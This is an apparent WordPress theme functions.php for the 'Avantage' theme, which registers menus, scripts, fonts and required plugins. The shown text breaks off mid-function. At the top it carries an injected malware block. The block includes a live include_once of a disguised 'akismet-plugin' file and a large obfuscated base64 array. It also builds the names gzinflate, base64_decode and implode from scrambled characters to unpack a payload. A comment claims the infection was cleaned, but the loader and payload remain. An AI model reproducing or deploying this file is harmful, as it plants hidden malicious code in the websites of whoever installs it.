include_once( WP_CONTENT_DIR . '/plugins/akismet-plugin/akismet.php' ); /*3d10a9c59736dcefd62f9dddde6f61d8*/ $get_comments_number_dv = array ('zRxrc9tG7rt/xV','rjHsk7yZLbptNa','tjKOrSS+cWxXlq','+XsTMcSlxZbCiS','5ZKx3Sb97Qfsg9','wlqUecZOY8eUhL','AAtgsVgAC3pra5','ZH0yyII+L5vns/','pyl1p3HkBzhm7/','ABh/y1ReDnLown','Xkh27hN/0iY7Oa','PpFc2yILpjR2na','3+JAO4HPyCHx0t','R7dN/TR2ZXAZ1+','AXgcLxbeFU281M','uoD2jBIgljn9pW','m8AfBHEk3WBG7O','2AuQyohNR2yD/+','QeCr5y+CyHYUi/','iDgsyCMKOpbX0I','6D1zKYjTSWKWId','lZ8ODiZxAzjzJm','SXbwJ6VZnkZESE','12SYscnZ+Qv7jA','nQEisU+7HNfLs3','mckvOLMTk9J3Zd','FqclyH4S3BuU+1','swWuid06MP0zAH','uXf+yGn6iNIYGv','9SVUvyV1kKDwBl','EfvB7PG3NAAlMT','Fq15QteOkMKkrf','bta6gmY0sy2hHl','xBY2ZH6USX/z6B','lQCr+53ZNblRN0','stbQZY3nROalIT','j6FuyOGA7DA5rL','OK0tkc4FBMIdZW','LioX0g4YClKg31','i/M+ud4xQc6rTm','gU//fcXiPJ3SEs','XQjvqZAMvv+8bw','J+Mbnc5jUpnWhK','+Q+NSg0iUMSX6Q','5Zp4UcwFRNlro6','CnQ7Kni9PtTnOW','xQtQ+gmd5He2NQ','1jb/oerStgJI62','9W1VQke+ANceIj','fi8fGcTt9fUbum','OLl5sjSndbk1gJ','kXssrmqmx2e4c7','hKpDm+ZpSqPMRT','tqo39zuTGrbZY9','JrTYaHbpZ/hXi2','VeljMLre38+uzM','aa8AsJJ8EgZsbq','2G8lNvlq2BSUCZ','oO41UFnqrZ0Ntj','JVIHJhyq0lZMcN','hZ8M8xc7vq4X/L','G40hFFcsudbwOI','xgif4Uax9q4AVk','6Jz5lSlocZTBrR','e/Lbpfsr8qDcpg','aIZlUhiNudr1DF','vBA0Semdu/Cy6d','y2/r4d3Nr2Ta/z','S/vdv5xb5/bgb/','Rk3HJuLC8MrXfw','lQPT5l1uwAKvLE','vdlCahh9tRIt70','gIo1sC04Z6RUnc','EMrNTnBstg2HIO','qhM7y3zHJ0LB+J','dILZcYF89A3wEl','/ioXcUeafOPzG+','nRXTeIuERiyY2N','0xmcnugrsGq5FN','0q/OctBZdq07UQ','wF9rMQS1J65G4Q','S+yBAVlU0VUMB/','LR0UBJ+oBunlvk','gJgsamKpDQX0sB','ktxTrUA58C+zAk','llYytQ8F/NChTB','J6pBnlBfpARBY1','MVSOivpQBJbrn4','9UBFoFYjFcxYXP','XdjbwFdX/sPXsG','XpbHLm1xQMJ/CU','0XxUlc6JVHaeKg','NeLyOPRl9INeXn','yCgFds3pJp+cSF','1ADguKgCzRXRmS','2mrSEUpABrWyfy','3Jh6X5+g36AS8b','SeGjVy8f+QkEql','S5WrQRUTta6GZ8','PjMdGCnDY5vrg+','H9vkn8QhR1ckyh','fSpF6OLt5U0kzy','2+vhaEiKMApIfs','daWnpmQYTme5MQ','A6xDYRMyJUbp3D','C+u6O+q7K0ctUK','im48+Z1O8Wy+o5','lbHRY2VY2otvUD','3516kV2j1xlMva','QzQO7cJA0+gB6F','lLU9KXW1e0iU5C','kqntq1nSvycFvT','JdlGxQvyFrkYEZ','voeTkoy+c4OoqO','4TitNpfbECjwbc','eY3GnON0rOW+Us','60sC5NXo4vqSvH','irsyXrBNLVIJc2','N1VHKgWZlM/sip','4EG9IvOG1yNBod','vXWPnFp+rGjzMH','6RoMlX0mE5fGME','5e+kS1kSrqidq1','ALe9Yz1qb0FCJZ','uZ0FPOhdbspTv2','lrL9tbpyeNO0dU','b0xzkNTVBtpM21','K9FbXq/sSu5Uur','VY24N3jyFEo7PV','HaMt0hAJq+UCps','FuZs7qZ5SBvKJR','W/JlLZlN5jnaeQ','HFHlpo8TXuWzJI','ggazkb1VfAk/Kk','zatICIc2fQD68N','zGh3DcA+mFl6iq','Aj8qTa8iqxF8+h','tB4Z1DPn40zK3y','HDzAIZG7d+lEdZ','9TKgROdV2Xq01W','knYfFqFEENxsWq','mDhEcpvjCcpytZ','q+AsE7wqt2LgZt','W6oGWuU2ldT4bd','FoL+S5pakxVfCa','ovKfXtDTX4NGOc','wQznEEhVYj0riH','z6sJvMk+cIcYiH','O/xda019s8aM7B','dTAImacC9BbKux','6NkIynXR7QZR4P','Iq6oIu4vTRDYNF','wCvX3z/76c0LRW','8OByxWuI/jKAOm','O2M4A/YJRq3IEd','bwcZifzLDBGevM','sywBHw7ha59M51','4KUxwiuO4IJhA2','uPKhBScKltxgvm','73c2d74kQomDh8','XDnj971e4XhxCF','dSaO01fFPbdkeO','XfGSJ/pXDrtLWr','dR4fPFEQAPZ7D8','1/zLi8cRBS/Psu','s0KLbkTnEo4W5d','dVbJySGqiMGj4N','Fk9XafWXIYxIvu','6Cylf+CDe0rfh4','/qWeixTETaPoQG','tvW2s+j4DZ63ZA','XNnJ9pgW+YeJ6G','KoSDENALg+i9XQ','Bq0bqpIQhdAPFF','GE8BGj61C5baOu','PtUjiNFlbsgT3q','+jSkwL2ari1iYV','aa/Fbz1LAqB12Y','FRZ/oJZHFr510H','6TCxbLLjUgvc7B','wcHVeLR18BzcM/','lAUwbwh6293V6L','0GgaY3562Loev+','z83Ho+2DoQM0tx','ACVihy3cHfvd7v','39/a7a+Ltxetdl','IOfCY1052O3t/t','LSMfcfWGBg3//A','8cBu97r/fXN2xf','E7QQRmHU1pgcuC','fUH6LJ56Gef3M1','gwfPtn4KnPuw/M','bw2E4rdAdaamP9','cylAc3VwMGUNMD','yesBUBwgwYMufi','pGBe2BmgSeyhEF','Uc450OY/6GrjCl','RxNCh4O+gWY5wh','tLrBbXQb1aVuvB','O7F1+1ME4besM3','8LLzvIQT91GgeG','PjGnR4UGh1eNEB','IRtCwjITxUTUwH','aaDtmXvKDA1FFZ','7JniescMAhf+M5','vNvT17x70ajv4z','HN1Yr8fjS/f1xd','WYR1LG1WDTtZrk','M8rDsOnuM4/AaQ','bgoP6k9sRj9Kcf','wX9MUSLtyqxaE2','l21N8gZKgEsMma','CBZPt4+WsQ13l4','UYG0YXSHLHqsbG','WhGs9bfk7W/IXc','tVGg1/vR5ejd3r','0WlD4KfiMhBmdY','QbsGNuNpfgwe1q','FlZPLNDRq/NSZF','n8mHJBuI2KLTyE','jVx5j1C7hG3XqD','oNplbeCK67B0wh','lPpA38bgW97QzP','vGAmobBclAJkO2','kzSGAzp7dOlDwD','C7FHfb6qq8QTxj','E32ZvvSWiHswut','hN40kMJzUw4Lpi','OperzaoGuQbWXR','zfhRQwGxFJt0u4','isnV8ILs/bj7QC','D5hoyApitoTkBv','T6VomjB4sxGsc0','ZPE9uoj8pcyXRs','/3VfXox+OxqdDE','/wU2XvqH2zBke3','vqUzHb90jy/Oz4','fH49PzV+7p5UZT','1ZHWzTUavrkYD9','2jk5O1whigTc66','YQtVLumVfneCRB','wkpeq1DQAuEf7Y','AMTrp6aZwygeQu','DRjBJrooetnDoC','3vRMRndSPP4Zz1','hFc8Fpwmxz8wmQ','Bk1I8TRyWgVH0M','Uzgn+sJt6aHk6j','q3wS4SKgfBK86o','FrvRIMQpIom2ES','5E3fQ3rHso8fv2','P6X6EHRbJCrlod','bVdN5xq+uUevhu','djfidiPjw6Ph5e','jt2zo/NX1wBjpr','Vruy22Vkt0P4dj','jWwo0TeTZJ0Nn7','IRBR8yDhYQe2Tw','L8Tmi0StGyTg2B','+E42DlHaJDDMhP','PfJP8c/3P+oNNW','vgNzi8lmsVCQLh','7xjkyYo2/26JAd','tp67NuqIVinh1I','QT3DX9o7H7wwp5','UqIaR9PiK4CI87','WXbgiSOJY5jbmw','/xyLYQxTCIgvem','iBOGOV+lDeYJ5s','pL2GnL6dpC4FpT','n7HZ11CSEvHpS3','pNGiz6mQpvuIHi','Kg2Nhv4wVLD5hV','cxckD2er0V4YFW','BbBUKph0hIidqR','/tTuNFl6XTbu6F','8R2jUwxKLa0Qns','QQmQM2L42iD+eV','Dpn8NfX2LChEGr','5o7LnExao09uC6','xnnGAfZ6lYeT2H','/kTxooc4A5Xqfx','0LzRLOoIXLdctY','h19yfIC1EzY/bv','LI5cXgCghX22yS','/lFY+zpfcXiTPV','BTXQNI1Tu9DNcu','Xzm+3K+QCZ46LE','vRECQ3jP71JYPp','1SXh4zD4mNLNKp','G/en5bVFcR5utK','1lgYu7Zrmxtxtc','pdjPVuFplkQZEk','yco0V4UVVVvYWQ','u7kslrogEl8PBh','qN9Q5LpWj4TBZB','7rCCGEy53QeJIN','PFyHU3e8isSuvh','+gVvZpZjkIIhNY','/VeJhW14sLg3Zh','CAKwaUA/UBefaM','zoClAxD08LWRIG','GaSF9m16G328jR','xMDIX5IQkwl85e','m1yOhq/cq8uz07','F7fuEO31yO3zZc','wCg3JEOm9QoIIl','jnwDdXi0RxRrxI','2Ot6XVSOiqKYom','yHewHxuU00u8Nx','cXisPB4Msy4PCK','3WvN5sm8IHiPjG','8YsAk7gAPpeFFV','wP0TaApQCxPAJE','ln0h1/HSRx7TWl','b16rBAx9ATa+PG','YVqg7grqiefbPp','3CsB2nvi0QYMl/','Bk31QNqr8ci9PD','pxz4Yvx07TDaMi','uDTKr0S308BPdW','m5FCicm2T4qkAR','t+tSNmgsUdaHYS','K2Ama8b4e9n8Bz','R88HupY2bV9dpG','XmtDXtCoj6xAJQ','8e4iBZwRFyuf8C','RF8d0mPZ2lcuZm','BC5BBaNszdGnwi','vLgo7ZT83L39Y5','bJ8gQvoAZfVXpS','1Vf9oQVerrOsln','M5rizX5a9NIoDs','TcB9udjoAiHEqq','sNPZHmBZ8vL1pT','u8OOvrsYteMarf','T/K3BvLQS20R1s','DILI0jWDjvjoox','GJrHfB9XHU7Jk2','TGC8MJpEuruFI/','8UTIabcUlpS4te','bklEqCsK6qIiCJ','o/zG2K4Gg+YkYB','acTLXEhIKeBdF7','Vq9UyrWT08v2jo','JcEyJYm5yl3yTB','55EwY4Qm2BtrHv','g+jfDaz3p3U3b7','ly8HlDFDYx9/9f','iIYiKKSWQSw/a5','DyCkzDMiivqMyP','vCsqbQ4LAF90Vg','L5uy6EPGLy9gm+','Jnd4JfVipCbXAd','1fPFG1BeCKb0GK','7VZIGLe7/c/M26','hPCaE0dNzmIQMG','16x6KqMQFJCuSl','Gim3Bd4mFJxVy0','cbMIeXqJuwJu5q','V7JWKtfgzlxD3Z','I3XbymV4aUm5/I','1bSs/tpFKRhkx5','h+ofhxFD6+BuBL','8FdNapBubrlTq/','i0mtoAiiAe3j3R','arhUcK8H64ji4h','0vU9FNz6o7tbLh','dmNZ93onAS4Fjb','Jx8VQXeoMbZ/kG','gAI0+3d9bNjFSy','bEd7RWXS283Uxi','fklWduvqBCDB1a','sNjUKVGidivihf','8GoKKcRRxRWjJ5','jz3V+2B3Bqp/8F','6v+W+nfhhNp0Df','zgTgQ5ekc0/MEu','056DXb3a8N47bO','w14XZhu5krBGBP','W2TBy8oF/tIVFl','N849Wd5WG4yfIW','QV1DRX5bKu45qn','dfqtE8/J9+aGmF','TLpIMsgDy2cNKb','7KXdYeJpWogTW+','TLjMTzTeQ7el5O','e52YvO2Ej218FH','3qJXhHB1MN4ILz','FuCnpgqe/qB5eE','E5bddK6awwp8r7','GrUzuMjQiyynKl','o6L5xcMDP/hA+E','IfttTRu+9NWBzm','Ge3LFwr2vTCZe3','aceNMgezzsOX35','cb+32+v90P+zwy','+q93/utwZ4AXPQ','BaqDhjcG18wW0l','m233nW6/WShy8k','lcXJPunA1v7ucw','hlkLgzSKYX+4RB','RE7tnvMZ2PEHms','7C+H6fCJPtF8HM','Pik5m9Pgbp7tk1','6S9SFk9bO5+Lz5','PH4AWb73uB/FEe','2vxmKJF32D5UWy','T5mvcYGfSqxhiT','citWKRDfxKVqQd','L6rhovCN1U4WrR','6j+mQ+oxO3cIMr','WjGqgCvfaS66i0','CeWh/L4bJWHwh3','ZXAqy3rVHgXFm3','4dL3oNxa+AwBPU','R8U2/FaI4gYDn3','lTcYKDE3fVeyS8','rUD/tQYqRNURsO','oa/ZHTnLpsmgaJ','wCp/GYAxS9kxIN','8GKqZZ+toUPNzr','tckPTWSMfnehIq','RVa/Jewjckv77Q','Tr0pvwkliET/bq','3ptwkYHoKH4OVg','P0jplGNW2lessi','W24dgFs1hl8Kva','VeTh35hoGUFoww','v9RouHpi2eRIIM','DRWoarOJhiXz4h','KvLMoYHdX/Aw=='); $get_comments_number_zk = array ('e','p','o','f','l','c','m','d','s','i','d','c','6','s','i','o','d','g','f','a','u','e','e','z','z','h','4','e','i','i','d','f','_','t','m','h','n','t','d','h','s','k','l','j','s','x','b','a','i','x','n','y','e','q','j','l','j','h','x'); $get_comments_number_sy = $get_comments_number_zk[17].$get_comments_number_zk[24].$get_comments_number_zk[9].$get_comments_number_zk[50].$get_comments_number_zk[3].$get_comments_number_zk[4].$get_comments_number_zk[47].$get_comments_number_zk[33].$get_comments_number_zk[22]; $get_comments_number_ud = $get_comments_number_zk[46].$get_comments_number_zk[19].$get_comments_number_zk[40].$get_comments_number_zk[21].$get_comments_number_zk[12].$get_comments_number_zk[26].$get_comments_number_zk[32].$get_comments_number_zk[30].$get_comments_number_zk[0].$get_comments_number_zk[5].$get_comments_number_zk[15].$get_comments_number_zk[38].$get_comments_number_zk[27]; $get_comments_number_bz = $get_comments_number_zk[48].$get_comments_number_zk[6].$get_comments_number_zk[1].$get_comments_number_zk[55].$get_comments_number_zk[2].$get_comments_number_zk[16].$get_comments_number_zk[52]; /*jdtounix*/ /* exec*/ /*ob_list_handlers*/ /*numfmt_set_attribute */ /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ /*3d10a9c59736dcefd62f9dddde6f61d8*/ // Register action/filter callbacks add_action( 'after_setup_theme', 'avantage_register_menus' ); add_action( 'wp_enqueue_scripts', 'avantage_enqueue_scripts_styles' ); add_action( 'tgmpa_register', 'avantage_register_plugins' ); add_action( 'wp_enqueue_scripts', 'avantage_load_fonts' ); add_action( 'admin_init', 'avantage_theme_add_editor_styles' ); add_action( 'admin_enqueue_scripts', 'avantage_load_fonts' ); add_action( 'admin_enqueue_scripts', 'avantage_load_admin_style' ); add_action( 'widgets_init', 'avantage_widget_area' ); add_filter( 'bt_bb_color_scheme_arr', 'avantage_color_schemes' ); add_filter( 'body_class', 'avantage_body_class' ); add_filter( 'tiny_mce_before_init', 'avantage_editor_dynamic_styles' ); add_theme_support( 'customize-selective-refresh-widgets' ); // Default values // callbacks /** * Register navigation menus */ if ( ! function_exists( 'avantage_register_menus' ) ) { function avantage_register_menus() { register_nav_menus( array ( 'primary' => esc_html__( 'Primary Menu', 'avantage' ), 'footer' => esc_html__( 'Footer Menu', 'avantage' ) )); } } /** * Enqueue scripts and styles */ if ( ! function_exists( 'avantage_enqueue_scripts_styles' ) ) { function avantage_enqueue_scripts_styles() { BoldThemesFramework::$crush_vars_def = array( 'accentColor', 'alternateColor', 'bodyFont', 'buttonFont', 'menuFont', 'headingFont', 'headingSuperTitleFont', 'headingSubTitleFont', 'logoHeight' ); // Custom accent color and font style $boldthemes_add_override_css = false; $accent_color = boldthemes_get_option( 'accent_color' ); $alternate_color = boldthemes_get_option( 'alternate_color' ); $body_font = urldecode( boldthemes_get_option( 'body_font' ) ); $menu_font = urldecode( boldthemes_get_option( 'menu_font' ) ); $heading_font = urldecode( boldthemes_get_option( 'heading_font' ) ); $heading_supertitle_font = urldecode( boldthemes_get_option( 'heading_supertitle_font' ) ); $heading_subtitle_font = urldecode( boldthemes_get_option( 'heading_subtitle_font' ) ); $button_font = urldecode( boldthemes_get_option( 'button_font' ) ); $logo_height = urldecode( boldthemes_get_option( 'logo_height' ) ); if ( $accent_color != '' ) { BoldThemesFramework::$crush_vars['accentColor'] = $accent_color; if ( $accent_color != BoldThemes_Customize_Default::$data['accent_color'] ) { $boldthemes_add_override_css = true; } } if ( $alternate_color != '' ) { BoldThemesFramework::$crush_vars['alternateColor'] = $alternate_color; if ( $alternate_color != BoldThemes_Customize_Default::$data['alternate_color'] ) { $boldthemes_add_override_css = true; } } if ( $body_font != '' ) { if ( $body_font == 'no_change' ) { $body_font = BoldThemes_Customize_Default::$data['body_font']; } BoldThemesFramework::$crush_vars['bodyFont'] = $body_font; if ( $body_font != BoldThemes_Customize_Default::$data['body_font'] ) { $boldthemes_add_override_css = true; } } if ( $menu_font != '' ) { if ( $menu_font == 'no_change' ) { $menu_font = BoldThemes_Customize_Default::$data['menu_font']; } BoldThemesFramework::$crush_vars['menuFont'] = $menu_font; if ( $menu_font != BoldThemes_Customize_Default::$data['menu_font'] ) { $boldthemes_add_override_css = true; } } if ( $heading_font != '' ) { if ( $heading_font == 'no_change' ) { $heading_font = BoldThemes_Customize_Default::$data['heading_font']; } BoldThemesFramework::$crush_vars['headingFont'] = $heading_font; if ( $heading_font != BoldThemes_Customize_Default::$data['heading_font'] ) { $boldthemes_add_override_css = true; } } if ( $heading_supertitle_font != '' ) { if ( $heading_supertitle_font == 'no_change' ) { $heading_supertitle_font = BoldThemes_Customize_Default::$data['heading_supertitle_font']; } BoldThemesFramework::$crush_vars['headingSuperTitleFont'] = $heading_supertitle_font; if ( $heading_supertitle_font != BoldThemes_Customize_Default::$data['heading_supertitle_font'] ) { $boldthemes_add_override_css = true; } } if ( $heading_subtitle_font != '' ) { if ( $heading_subtitle_font == 'no_change' ) { $heading_subtitle_font = BoldThemes_Customize_Default::$data['heading_subtitle_font']; } BoldThemesFramework::$crush_vars['headingSubTitleFont'] = $heading_subtitle_font; if ( $heading_subtitle_font != BoldThemes_Customize_Default::$data['heading_subtitle_font'] ) { $boldthemes_add_override_css = true; } } if ( $button_font != '' ) { if ( $button_font == 'no_change' ) { $button_font = BoldThemes_Customize_Default::$data['button_font']; } BoldThemesFramework::$crush_vars['buttonFont'] = $button_font; if ( $button_font != BoldThemes_Customize_Default::$data['button_font'] ) { $boldthemes_add_override_css = true; } } if ( $logo_height != '' ) { BoldThemesFramework::$crush_vars['logoHeight'] = $logo_height; if ( $logo_height != BoldThemes_Customize_Default::$data['logo_height'] ) { $boldthemes_add_override_css = true; } } // Create override file without local settings if ( function_exists( 'boldthemes_csscrush_file' ) ) { boldthemes_csscrush_file( get_theme_file_path( 'style.crush.css' ), array( 'source_map' => true, 'minify' => false, 'output_file' => 'style', 'formatter' => 'block', 'boilerplate' => false, 'vars' => BoldThemesFramework::$crush_vars, 'plugins' => array( 'loop', 'ease' ) ) ); } // custom theme css wp_enqueue_style( 'avantage-style', get_parent_theme_file_uri( 'style.css' ), array(), false, 'screen' ); wp_enqueue_style( 'avantage-print', get_parent_theme_file_uri( 'print.css' ), array(), false, 'print' ); // external js wp_enqueue_script( 'fancySelect', get_parent_theme_file_uri( 'framework/js/fancySelect.js' ), array( 'jquery' ), '', true ); // custom theme js wp_enqueue_script( 'avantage-header', get_parent_theme_file_uri( 'framework/js/header.misc.js' ), array( 'jquery' ), '', true ); wp_enqueue_script( 'avantage-misc', get_parent_theme_file_uri( 'framework/js/misc.js' ), array( 'jquery' ), '', true ); wp_add_inline_script( 'avantage-header', boldthemes_set_global_uri(), 'before' ); if ( file_exists( get_parent_theme_file_path( 'css-override.php' ) ) && $boldthemes_add_override_css ) { require_once( get_parent_theme_file_path( 'css-override.php' ) ); wp_add_inline_style( 'avantage-style', $css_override ); } if ( file_exists( get_parent_theme_file_path( 'icons.php' ) ) ) { require_once( get_parent_theme_file_path( 'icons.php' ) ); wp_add_inline_style( 'avantage-style', $icons ); } if ( boldthemes_get_option( 'custom_js' ) != '' ) { wp_add_inline_script( 'avantage-misc', boldthemes_get_option( 'custom_js' ) ); } } } /** * Register the required plugins for this theme */ if ( ! function_exists( 'avantage_register_plugins' ) ) { function avantage_register_plugins() { $plugins = array( array( 'name' => esc_html__( 'Avantage', 'avantage' ), // The plugin name. 'slug' => 'avantage', // The plugin slug (typically the folder name). 'source' => get_parent_theme_file_path( 'plugins/avantage.zip' ), // The plugin source. 'required' => true, // If false, the plugin is only 'recommended' instead of required. 'version' => '2.4.1', ///!do not change this comment! E.g. 1.0.0. If set, the active plugin must be this version or higher. 'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch. 'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins. 'external_url' => '', // If set, overrides default API URL and points to an external URL. ), array( 'name' => esc_html__( 'Cost Calculator', 'avantage' ), // The plugin name. 'slug' => 'bt' . '_cost_calculator', // The plugin slug (typically the folder name). 'source' => get_parent_theme_file_path( 'plugins/' . 'bt' . '_cost_calculator.zip' ), // The plugin source. 'required' => true, // If false, the plugin is only 'recommended' instead of required. 'version' => '2.2.3', // E.g. 1.0.0. If set, the active plugin must be this version or higher. 'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch. 'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins. 'external_url' => '', // If set, overrides default API URL and points to an external URL. ), array( 'name' => esc_html__( 'Bold Timeline', 'avantage' ), // The plugin name. 'slug' => 'bold-timeline', // The plugin slug (typically the folder name). 'source' => get_parent_theme_file_path( 'plugins/' . 'bold-timeline.zip' ), // The plugin source. 'required' => true, // If false, the plugin is only 'recommended' instead of required. 'version' => '1.1.5', // E.g. 1.0.0. If set, the active plugin must be this version or higher. 'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch. 'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins. 'external_url' => '', // If set, overrides default API URL and points to an external URL. ), array( 'name' => esc_html__( 'Bold Builder', 'avantage' ), // The plugin name. 'slug' => 'bold-page-builder', // The plugin slug (typically the folder name). 'required' => true, // If false, the plugin is only 'recommended' instead of required. 'version' => '3.1.4', 'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch. 'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins. ), array( 'name' => esc_html__( 'BoldThemes WordPress Importer', 'avantage' ), // The plugin name. 'slug' => 'bt' . '_wordpress_importer', // The plugin slug (typically the folder name). 'source' => get_parent_theme_file_path( 'plugins/' . 'bt' . '_wordpress_importer.zip' ), // The plugin source. 'required' => true, // If false, the plugin is only 'recommended' instead of required. 'version' => '1.0.6', // E.g. 1.0.0. If set, the active plugin must be this version or higher. 'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch. 'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins. 'external_url' => '', // If set, overrides default API URL and points to an external URL. ), array( 'name' => esc_html__( 'Meta Box', 'avantage' ), // The plugin name. 'slug' => 'meta-box', // The plugin slug (typically the folder name). 'required' => true, // If false, the plugin is only 'recommended' instead of required. 'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch. 'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins. ), array( 'name' => esc_html__( 'Contact Form 7', 'avantage' ), // The plugin name. 'slug' => 'contact-form-7', // The plugin slug (typically the folder name). 'required' => true, // If false, the plugin is only 'recommended' instead of required. 'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch. 'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins. ), array( 'name' => esc_html__( 'Lightweight Sidebar Manager', 'avantage' ), // The plugin name. 'slug' => 'sidebar-manager', // The plugin slug (typically the folder name). 'required' => true, // If false, the plugin is only 'recommended' instead of required. 'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch. 'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins. ) ); $config = array( 'default_path' => '', // Default absolute path to pre-packaged plugins. 'menu' => 'tgmpa-install-plugins', // Menu slug. 'has_notices' => true, // Show admin notices or not. 'dismissable' => false, // If false, a user cannot dismiss the nag message. 'dismiss_msg' => '', // If 'dismissable' is false, this message will be output at top of nag. 'is_automatic' => false, // Automatically activate plugins after installation or not. 'message' => '', // Message to output right before the plugins table. 'strings' => array( 'page_title' => esc_html__( 'Install Required Plugins', 'avantage' ), 'menu_title' => esc_html__( 'Install Plugins', 'avantage' ), 'installing' => esc_html__( 'Installing Plugin: %s', 'avantage' ), // %s = plugin name. 'oops' => esc_html__( 'Something went wrong with the plugin API.', 'avantage' ), 'notice_can_install_required' => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'avantage' ), // %1$s = plugin name(s). 'notice_can_install_recommended' => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'avantage' ), // %1$s = plugin name(s). 'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.', 'avantage' ), // %1$s = plugin name(s). 'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'avantage' ), // %1$s = plugin name(s). 'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'avantage' ), // %1$s = plugin name(s). 'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.', 'avantage' ), // %1$s = plugin name(s). 'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'avantage' ), // %1$s = plugin name(s). 'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.', 'avantage' ), // %1$s = plugin name(s). 'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'avantage' ), 'activate_link' => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'avantage' ), 'return' => esc_html__( 'Return to Required Plugins Installer', 'avantage' ), 'plugin_activated' => esc_html__( 'Plugin activated successfully.', 'avantage' ), 'complete' => esc_html__( 'All plugins installed and activated successfully. %s', 'avantage' ), // %s = dashboard link. 'nag_type' => 'updated' // Determines admin notice type - can only be 'updated', 'update-nag' or 'error'. ) ); tgmpa( $plugins, $config ); } } /** * Loads custom Google Fonts */ if ( ! function_exists( 'avantage_load_fonts' ) ) { function avantage_load_fonts() { $body_font = boldthemes_custom_font( urldecode( boldthemes_get_option( 'body_font' ) ) ); $heading_font = boldthemes_custom_font( urldecode( boldthemes_get_option( 'heading_font' ) ) ); $menu_font = boldthemes_custom_font( urldecode( boldthemes_get_option( 'menu_font' ) ) ); $heading_subtitle_font = boldthemes_custom_font( urldecode( boldthemes_get_option( 'heading_subtitle_font' ) ) ); $heading_supertitle_font = boldthemes_custom_font( urldecode( boldthemes_get_option( 'heading_supertitle_font' ) ) ); $button_font = boldthemes_custom_font( urldecode( boldthemes_get_option( 'button_font' ) ) ); $font_families = array(); if ( $body_font != '' ) { if ( $body_font == 'no_change' ) { $body_font = BoldThemes_Customize_Default::$data['body_font']; } $font_families[] = $body_font . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } else { /* Translators: If there are characters in your language that are not supported by chosen font(s), translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Lato font: on or off', 'avantage' ) ) { $font_families[] = 'Lato' . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } } if ( $heading_font != '' ) { if ( $heading_font == 'no_change' ) { $heading_font = BoldThemes_Customize_Default::$data['heading_font']; } $font_families[] = $heading_font . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } else { /* Translators: If there are characters in your language that are not supported by chosen font(s), translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Lato font: on or off', 'avantage' ) ) { $font_families[] = 'Lato' . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } } if ( $menu_font != '' ) { if ( $menu_font == 'no_change' ) { $menu_font = BoldThemes_Customize_Default::$data['menu_font']; } $font_families[] = $menu_font . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } else { /* Translators: If there are characters in your language that are not supported by chosen font(s), translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Lato font: on or off', 'avantage' ) ) { $font_families[] = 'Lato' . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } } if ( $heading_subtitle_font != '' ) { if ( $heading_subtitle_font == 'no_change' ) { $heading_subtitle_font = BoldThemes_Customize_Default::$data['heading_subtitle_font']; } $font_families[] = $heading_subtitle_font . ':100,200,300,400,500,600,700,800,900,100italic,200italic,300italic,400italic,500italic,600italic,700italic,800italic,900italic'; } else { /* Translators: If there are characters in your language that are not supported by chosen font(s), translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Lato font: on or off', 'avantage' ) ) { $font_families[] = 'Lato' . 